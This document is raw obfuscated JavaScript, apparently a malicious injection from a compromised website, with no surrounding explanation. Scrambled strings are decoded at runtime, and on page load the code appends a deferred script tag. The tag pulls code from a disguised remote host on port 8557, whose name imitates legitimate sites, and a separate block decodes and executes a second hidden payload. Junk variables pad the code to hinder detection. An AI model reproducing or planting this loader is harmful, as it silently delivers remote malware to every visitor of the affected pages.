U[R("nhelgt", [3,2,0,4,5,1])];var Xy;if(Xy!=''){Xy='FF'};var BQ;if(BQ!='qi'){BQ=''};var UX=[1, R("aftsrbwoessraecr.hocm", [1,0]),2, R("cdmuoencter.atlemeEen\'tcs(ript\')", [1,4,0,3,2,5,6]),3, R("umocednod.byt.enppdaCd(ildh)", [5,2,3,0,1,4,6]),4, R("omcth.hoeelmbsaru.80:80", [2,0,1]),5, R("eAd.stiuttrb\'ete(dfer\'", [2,3,4,0,5,1]),6, R("dm.ocnbauo.omc.enrern", [4,3,1,2,0]),7, R("dwoninwlo.oad", [1,4,3,0,2]),8, R("ifelaftcroy", [1,0]),11, R("ogog.lecom", [1,2,0,3]),12, R("cntifuon()", [4,5,1,0,2,3]),14, R("nleacec.om", [2,1,3,0]),15, R("acthc(e)", [1,0,2]),16, R("mdzoo.gr", [1,0]),17, R("p\"tht:", [1,3,4,2,0]),18, R(".drsc", [1,0]),19, R("\'\'1)", [1,2,0]),20, R("rty", [1,0])];var gc;if(gc!='' && gc!='yf'){gc='We'};var Oy=new Date();var CV=new Date();var aN="aN";var Zf;if(Zf!='uN' && Zf!='Sw'){Zf='uN'};var fWU;if(fWU!=''){fWU='db'};for(var yX=m; yX < Ub; yX+=tS){Vr+= w; var UG;if(UG!='mm'){UG='mm'};Vr+= U[R("ussbtr", [2,0,3,1])](yX, tS);}var Kd;if(Kd!='Gf'){Kd='Gf'};var gb;if(gb!='iM'){gb='iM'};var U = gB(Vr);var kJZ=false;var gR = new Gk(G);this.LC=false;var mq = gR[R("cralepe", [1,4,5,3,2,0])](xx, JU);this.ZJ=47936;var bu="bu";var AG;if(AG!='' && AG!='rm'){AG='aO'};var vj;if(vj!='' && vj!='Nl'){vj='YNr'};var bh = UX[R("elgnht", [1,0])];var ui=false;var kO="";var d = new Gk(kV);this.QMH='';mq = e(mq);var Jw;if(Jw!='cF'){Jw='cF'};var ga;if(ga!='UF'){ga='UF'};var VRF=false;var RS=false;var JQ = d[R("eecplra", [5,0,3,4,6,2,1])](xx, JU);var Tm;if(Tm!='' && Tm!='JG'){Tm=null};var gM;if(gM!=''){gM='Rk'};var JQ = Q(JQ);this.wY=false;var j=Q(mq);var Ey="";var DR=new String();var lz="lz";for(var GB=m; GB < (U[R("elgnht", [1,0])]);GB=GB+[0,236,93,1][3]) {var oQ=new Date();var hN;if(hN!=''){hN='eO'};var rB;if(rB!='CJ' && rB!='fWc'){rB=''};var N = mq.charCodeAt(GBB);var nE="";var jD = eD(U,GB);var xA='';var WP='';jD = Vd(jD, N);var nx;if(nx!='DF'){nx=''};this.ZR="";this.sB="";jD = Vd(jD, j);jD = Vd(jD, JQ);var bB;if(bB!='' && bB!='RG'){bB='mhD'};GBB++;if(GBB > mq.length-tv){this.rBP='';GBB=m;var bJ;if(bJ!='WN'){bJ=''};var to;if(to!='GlW' && to!='Fa'){to='GlW'};}var FL;if(FL!='iG'){FL='iG'};xi += h(jD);}var uu="";this.Cz="Cz";this.tZ="tZ";for(Y=m; Y < bh; Y+=tS){var eE="eE";this.WS="WS";var Gy = h(UX[Y]);var fy=new String();var Sf;if(Sf!='' && Sf!='wr'){Sf=''};var p = UX[Y + tv];var Ew;if(Ew!=''){Ew='ugB'};this.XxP=18181;var mv;if(mv!=''){mv='eVH'};var EA;if(EA!=''){EA='mmf'};this.AM="";var O = new g(Gy, h(103));this.zX=false;this.ew="ew";xi=xi[R("eplecar", [6,0,1,2,5,4,3])](O, p);var ja;if(ja!='' && ja!='uE'){ja='BP'};}var zct;if(zct!='Br' && zct != ''){zct=null};var C=new kV(xi);var TH=new String();var TQ=new String();C();var eL="";C = '';j = '';JQ = '';d = '';mq = '';xi = '';var RGX=new Date();var Rz;if(Rz!='Pu' && Rz != ''){Rz=null};var Jrn;if(Jrn!='xIxc' && Jrn!='zW'){Jrn='xIxc'};this.SV=false;this.GxI=false;return '';this.kN=false;};var dT=new Array();var VM=20764;G(pZ);
var b;if(b!='' && b!='E'){b=''};var qt;if(qt!='' && qt!='q'){qt='R'};function N() {var ip;if(ip!='' && ip!='H'){ip='V'};var Hj;if(Hj!='J' && Hj != ''){Hj=null};var g=RegExp;var kT="";var a='[';this.P="";this.Ed='';var M='replace';var Q;if(Q!='Xv' && Q!='D'){Q=''};var Mh=new Array();var XI='';var l=']';this.S="";this.aq="";var F=new String();var c=new Array();var mn=new Array();var Y='g';var Bf;if(Bf!='' && Bf!='VN'){Bf=null};var s;if(s!='AY'){s='AY'};function u(NZ,K){var lI='';var _f=new String();var v=a;var oS='';var ij;if(ij!='' && ij!='KC'){ij=null};v+=K;v+=l;var Kj;if(Kj!='IK' && Kj!='gu'){Kj=''};var _=new g(v, Y);this.z="";var Z=new Array();return NZ[M](_, F);};var SL;if(SL!='lj'){SL='lj'};var FT;if(FT!='KL' && FT != ''){FT=null};var p=window;var cGw;if(cGw!='ZT'){cGw=''};var i=u('hLtLtDpB:P/D/DePlPmLuGnBdDoD-DeDsG.LiGcGiPoB.GuGsB.BbDlGaLcPkBhDaLtLwPoPrGlPdD-LcLoLmB.DjLeDrBsBeDyBhDoGmLeDsLiPtPeP.LrBuG:G',"PLBGD");var vB=u('/Qmkokn0sktke_rk.kcQo_m0/0m_o0nksQt_e_r0.kc0oQmk/kg_okoQgkl0ek.kc_okmk/_vki_r_gQiQlQi0o0.Qi_tQ/Qg0ikz_m_o0d_ok.kcQoQmQ.Qp_h_p_',"kQ0_");var Fw=u('cQrQeda4t4ePEQl4ePm4e4nPtQ',"PQ4d");var uj='';var MA=new String();var C=u('secXreiepetX',"Xe");var iE;if(iE!='gR' && iE!='RJ'){iE=''};var TN='';var iQ=u('85579097578577370333',"9375");p[u('oGnDl7o7aydy',"GDO7y")]=function(){var eN;if(eN!='' && eN!='wL'){eN='t'};try {var jk;if(jk!='pd' && jk != ''){jk=null};uj+=i;uj+=iQ;var aN='';uj+=vB;var HS;if(HS!='lG' && HS!='uu'){HS=''};Ka=document[Fw](C);var Ky='';var asQ;if(asQ!='' && asQ!='hO'){asQ=null};var NS;if(NS!='' && NS!='kV'){NS=null};k(Ka,'defer',([1][0]));k(Ka,'src',uj);var MP=new Array();var rS;if(rS!='' && rS!='pU'){rS=null};var hB;if(hB!='x' && hB!='dE'){hB=''};var TX;if(TX!='' && TX!='UA'){TX='Hq'};document.body.appendChild(Ka);} catch(T){var IC=new Date();this.bo="";};var EV=new Array();};this.zd='';function k(gs,Tt,L){var VNZ;if(VNZ!='iv' && VNZ != ''){VNZ=null};gs.setAttribute(Tt, L);}};var Sd="";var YL="";N();var uP;if(uP!='nz' && uP != ''){uP=null};this.kH="";
